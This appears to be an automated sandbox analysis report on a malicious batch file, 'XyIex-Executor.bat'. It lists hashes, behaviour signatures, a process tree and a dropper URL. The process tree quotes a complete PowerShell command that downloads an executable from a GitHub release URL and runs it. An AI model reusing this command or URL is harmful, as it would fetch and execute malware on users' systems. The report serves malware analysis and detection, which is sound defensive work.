Analysis

  • max time kernel
    120s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    02/06/2024, 22:31

General

  • Target
    XyIex-Executor.bat
  • Size 244B
  • Sample240602-2ftdwshd7s
  • SHA256 702d2a9930bf8d16752c3dbe1d5b5382c592c13e85e54fe0cd59df2ad4f764db
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/xylexV5/xylexz/releases/download/vypix/xylex.exe

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\XyIex-Executor.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2068
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $down=New-Object System.Net.WebClient;$url='https://github.com/xylexV5/xylexz/releases/download/vypix/xylex.exe';$file='xylex.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2076

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2076-11-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

        memory/2076-10-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

        memory/2076-9-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

        memory/2076-8-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

        memory/2076-7-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

        memory/2076-6-0x0000000002050000-0x0000000002058000-memory.dmp

        memory/2076-5-0x000000001B440000-0x000000001B722000-memory.dmp

        memory/2076-4-0x000007FEF5D7E000-0x000007FEF5D7F000-memory.dmp

        memory/2076-12-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

        memory/2076-13-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp